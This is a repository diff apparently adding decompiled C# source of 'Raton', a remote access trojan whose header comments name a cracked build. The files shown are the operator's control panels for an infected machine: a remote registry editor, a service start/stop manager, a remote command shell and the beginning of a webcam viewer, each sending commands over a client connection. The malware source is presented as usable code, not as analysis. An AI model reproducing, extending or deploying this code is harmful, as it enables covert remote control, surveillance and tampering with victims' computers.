||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
string str = Interaction.InputBox("Enter new key name:", "Rename Key", this.treeView1.SelectedNode.Text);
|
||||
if (string.IsNullOrWhiteSpace(str))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "RenameKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
pack.SetString("NewKeyName", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
if (Messenger.MessageBox("Are you sure you want to delete this key and all subkeys?", "Delete Key", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "DeleteKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private string GetSelectedNodePath(TreeNode node)
|
||||
{
|
||||
List<string> values = new List<string>();
|
||||
for (TreeNode treeNode = node; treeNode != null; treeNode = treeNode.Parent)
|
||||
values.Insert(0, treeNode.Text);
|
||||
return string.Join("\\", (IEnumerable<string>) values);
|
||||
}
|
||||
|
||||
private void modifyValueToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.dataGridView1.SelectedRows.Count == 0)
|
||||
return;
|
||||
string str1 = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
|
||||
string str2 = this.dataGridView1.SelectedRows[0].Cells[1].Value.ToString();
|
||||
string DefaultResponse = this.dataGridView1.SelectedRows[0].Cells[2].Value.ToString();
|
||||
string str3 = Interaction.InputBox($"Modify value for {str1} ({str2}):", "Modify Value", DefaultResponse);
|
||||
if (string.IsNullOrEmpty(str3))
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RegistryRequest");
|
||||
pack1.SetString("Action", "ModifyValue");
|
||||
pack1.SetString("Path", fullPath);
|
||||
pack1.SetString("Name", str1);
|
||||
pack1.SetString("NewValue", str3);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RegistryRequest");
|
||||
pack2.SetString("Action", "GetValues");
|
||||
pack2.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void deleteValueToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.dataGridView1.SelectedRows.Count == 0)
|
||||
return;
|
||||
string str = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
if (Messenger.MessageBox($"Are you sure you want to delete the value '{str}'?", "Delete Value", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
|
||||
return;
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RegistryRequest");
|
||||
pack1.SetString("Action", "DeleteValue");
|
||||
pack1.SetString("Path", fullPath);
|
||||
pack1.SetString("Name", str);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RegistryRequest");
|
||||
pack2.SetString("Action", "GetValues");
|
||||
pack2.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void refreshValuesToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "RefreshValues");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void RefreshTreeNode(TreeNode node, List<string> subKeys)
|
||||
{
|
||||
if (node == null)
|
||||
return;
|
||||
node.Nodes.Clear();
|
||||
if (subKeys == null || subKeys.Count <= 0)
|
||||
return;
|
||||
foreach (string subKey in subKeys)
|
||||
node.Nodes.Add(new TreeNode(subKey)
|
||||
{
|
||||
Nodes = {
|
||||
"Loading..."
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private TreeNode FindTreeNodeByPath(string path)
|
||||
{
|
||||
string[] strArray = path.Split('\\');
|
||||
TreeNodeCollection nodes = this.treeView1.Nodes;
|
||||
TreeNode treeNodeByPath = (TreeNode) null;
|
||||
foreach (string str in strArray)
|
||||
{
|
||||
bool flag = false;
|
||||
foreach (TreeNode treeNode in nodes)
|
||||
{
|
||||
if (treeNode.Text == str)
|
||||
{
|
||||
treeNodeByPath = treeNode;
|
||||
nodes = treeNode.Nodes;
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!flag)
|
||||
return (TreeNode) null;
|
||||
}
|
||||
return treeNodeByPath;
|
||||
}
|
||||
|
||||
private void RequestSubKeysRefresh(TreeNode node)
|
||||
{
|
||||
if (node == null)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetSubKeys");
|
||||
pack.SetString("Path", this.GetFullPath(node));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void OnReceivedSubKeys(string path, List<string> subKeys)
|
||||
{
|
||||
TreeNode treeNodeByPath = this.FindTreeNodeByPath(path);
|
||||
if (treeNodeByPath == null)
|
||||
return;
|
||||
this.RefreshTreeNode(treeNodeByPath, subKeys);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonReg));
|
||||
this.treeView1 = new TreeView();
|
||||
this.dataGridView1 = new DataGridView();
|
||||
this.colName = new DataGridViewTextBoxColumn();
|
||||
this.colType = new DataGridViewTextBoxColumn();
|
||||
this.colData = new DataGridViewTextBoxColumn();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.contextMenuStrip2 = new ContextMenuStrip(this.components);
|
||||
this.renameToolStripMenuItem1 = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.modifyToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.newKeyToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.renameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.deleteToolStripMenuItem = new ToolStripMenuItem();
|
||||
((ISupportInitialize) this.dataGridView1).BeginInit();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.contextMenuStrip2.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.treeView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.treeView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.treeView1.Location = new Point(14, 14);
|
||||
this.treeView1.Name = "treeView1";
|
||||
this.treeView1.Size = new Size(171, 524);
|
||||
this.treeView1.TabIndex = 0;
|
||||
this.treeView1.AfterSelect += new TreeViewEventHandler(this.treeView1_AfterSelect);
|
||||
this.dataGridView1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.dataGridView1.Columns.AddRange((DataGridViewColumn) this.colName, (DataGridViewColumn) this.colType, (DataGridViewColumn) this.colData);
|
||||
this.dataGridView1.ContextMenuStrip = this.contextMenuStrip2;
|
||||
this.dataGridView1.Location = new Point(192 /*0xC0*/, 14);
|
||||
this.dataGridView1.Name = "dataGridView1";
|
||||
this.dataGridView1.Size = new Size(697, 525);
|
||||
this.dataGridView1.TabIndex = 1;
|
||||
this.colName.HeaderText = "Name";
|
||||
this.colName.Name = "colName";
|
||||
this.colType.HeaderText = "Type";
|
||||
this.colType.Name = "colType";
|
||||
this.colData.HeaderText = "Data";
|
||||
this.colData.Name = "colData";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[3]
|
||||
{
|
||||
(ToolStripItem) this.newKeyToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem,
|
||||
(ToolStripItem) this.deleteToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(120, 70);
|
||||
this.contextMenuStrip2.Items.AddRange(new ToolStripItem[3]
|
||||
{
|
||||
(ToolStripItem) this.modifyToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem1,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip2.Name = "contextMenuStrip2";
|
||||
this.contextMenuStrip2.Size = new Size(114, 70);
|
||||
this.renameToolStripMenuItem1.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1";
|
||||
this.renameToolStripMenuItem1.Size = new Size(113, 22);
|
||||
this.renameToolStripMenuItem1.Text = "Delete";
|
||||
this.renameToolStripMenuItem1.Click += new EventHandler(this.deleteValueToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(113, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshValuesToolStripMenuItem_Click);
|
||||
this.modifyToolStripMenuItem.Image = (Image) Resources.ModifyEvent_16x;
|
||||
this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem";
|
||||
this.modifyToolStripMenuItem.Size = new Size(113, 22);
|
||||
this.modifyToolStripMenuItem.Text = "Modify";
|
||||
this.modifyToolStripMenuItem.Click += new EventHandler(this.modifyValueToolStripMenuItem_Click);
|
||||
this.newKeyToolStripMenuItem.Image = (Image) Resources.QueryFolder_16x;
|
||||
this.newKeyToolStripMenuItem.Name = "newKeyToolStripMenuItem";
|
||||
this.newKeyToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.newKeyToolStripMenuItem.Text = "New key";
|
||||
this.newKeyToolStripMenuItem.Click += new EventHandler(this.newKeyToolStripMenuItem_Click);
|
||||
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x1;
|
||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||
this.renameToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.renameToolStripMenuItem.Text = "Rename";
|
||||
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
|
||||
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||
this.deleteToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.deleteToolStripMenuItem.Text = "Delete";
|
||||
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(903, 553);
|
||||
this.Controls.Add((Control) this.dataGridView1);
|
||||
this.Controls.Add((Control) this.treeView1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonReg);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonReg);
|
||||
this.Load += new EventHandler(this.ratonReg_Load);
|
||||
((ISupportInitialize) this.dataGridView1).EndInit();
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.contextMenuStrip2.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,230 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonServices
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonServices : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
public AeroListView aeroListView1;
|
||||
public Label label1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem startToolStripMenuItem;
|
||||
private ToolStripMenuItem stopToolStripMenuItem;
|
||||
private ToolStripMenuItem restartToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonServices()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonServices_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.SendList();
|
||||
}
|
||||
|
||||
private string GetSelectedService()
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems.Count == 0)
|
||||
return (string) null;
|
||||
return this.aeroListView1.SelectedItems[0].Tag?.ToString();
|
||||
}
|
||||
|
||||
private void SendList()
|
||||
{
|
||||
if (this.SillyClient == null)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Services");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void SendAction(string command, string serviceName)
|
||||
{
|
||||
if (this.SillyClient == null || string.IsNullOrEmpty(serviceName))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Services");
|
||||
pack.SetString("Command", command);
|
||||
pack.SetString("Name", serviceName);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void startToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Start", selectedService);
|
||||
}
|
||||
|
||||
private void stopToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Stop", selectedService);
|
||||
}
|
||||
|
||||
private void restartToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Restart", selectedService);
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) => this.SendList();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonServices));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.startToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.stopToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.None;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(561, 591);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Service";
|
||||
this.columnHeader1.Width = 155;
|
||||
this.columnHeader2.Text = "Name";
|
||||
this.columnHeader2.Width = 145;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.Width = 118;
|
||||
this.columnHeader4.Text = "Type";
|
||||
this.columnHeader4.Width = 139;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[4]
|
||||
{
|
||||
(ToolStripItem) this.startToolStripMenuItem,
|
||||
(ToolStripItem) this.stopToolStripMenuItem,
|
||||
(ToolStripItem) this.restartToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(118, 92);
|
||||
this.startToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.startToolStripMenuItem.Image = (Image) componentResourceManager.GetObject("startToolStripMenuItem.Image");
|
||||
this.startToolStripMenuItem.Name = "startToolStripMenuItem";
|
||||
this.startToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.startToolStripMenuItem.Text = "Start";
|
||||
this.startToolStripMenuItem.Click += new EventHandler(this.startToolStripMenuItem_Click);
|
||||
this.stopToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.stopToolStripMenuItem.Image = (Image) Resources.Stop_16x;
|
||||
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
|
||||
this.stopToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.stopToolStripMenuItem.Text = "Stop";
|
||||
this.stopToolStripMenuItem.Click += new EventHandler(this.stopToolStripMenuItem_Click);
|
||||
this.restartToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.restartToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.restartToolStripMenuItem.Name = "restartToolStripMenuItem";
|
||||
this.restartToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.restartToolStripMenuItem.Text = "Restart";
|
||||
this.restartToolStripMenuItem.Click += new EventHandler(this.restartToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "SettingsOutline_16x.png");
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(561, 591);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Loading...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(561, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonServices);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonServices);
|
||||
this.Load += new EventHandler(this.ratonServices_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,104 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonShell
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonShell : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox2;
|
||||
public TextBox textBoxConsole;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonShell()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void textBox2_Enter(object sender, EventArgs e) => this.textBox2.Clear();
|
||||
|
||||
private void textBox2_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode != Keys.Return || this.SillyClient == null || string.IsNullOrEmpty(this.textBox2.Text.Trim()))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Shell");
|
||||
pack.SetString("Command", this.textBox2.Text.Trim());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.textBox2.Text = string.Empty;
|
||||
}
|
||||
|
||||
private void ratonShell_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonShell_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopShell");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonShell));
|
||||
this.textBoxConsole = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBoxConsole.BackColor = SystemColors.InactiveCaptionText;
|
||||
this.textBoxConsole.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBoxConsole.Cursor = Cursors.Default;
|
||||
this.textBoxConsole.Dock = DockStyle.Fill;
|
||||
this.textBoxConsole.Font = new Font("Consolas", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBoxConsole.ForeColor = SystemColors.Window;
|
||||
this.textBoxConsole.Location = new Point(0, 0);
|
||||
this.textBoxConsole.Multiline = true;
|
||||
this.textBoxConsole.Name = "textBoxConsole";
|
||||
this.textBoxConsole.ReadOnly = true;
|
||||
this.textBoxConsole.Size = new Size(756, 478);
|
||||
this.textBoxConsole.TabIndex = 0;
|
||||
this.textBox2.Dock = DockStyle.Bottom;
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(0, 456);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(756, 22);
|
||||
this.textBox2.TabIndex = 1;
|
||||
this.textBox2.Text = "Type your command here and press enter to send it";
|
||||
this.textBox2.Enter += new EventHandler(this.textBox2_Enter);
|
||||
this.textBox2.KeyDown += new KeyEventHandler(this.textBox2_KeyDown);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(756, 478);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBoxConsole);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonShell);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonShell);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonShell_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonShell_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,271 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonWebcam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonWebcam : Form
|
||||
{
|
||||
public Stopwatch sw = Stopwatch.StartNew();
|
||||
public int FPS;
|
||||
private IContainer components;
|
||||
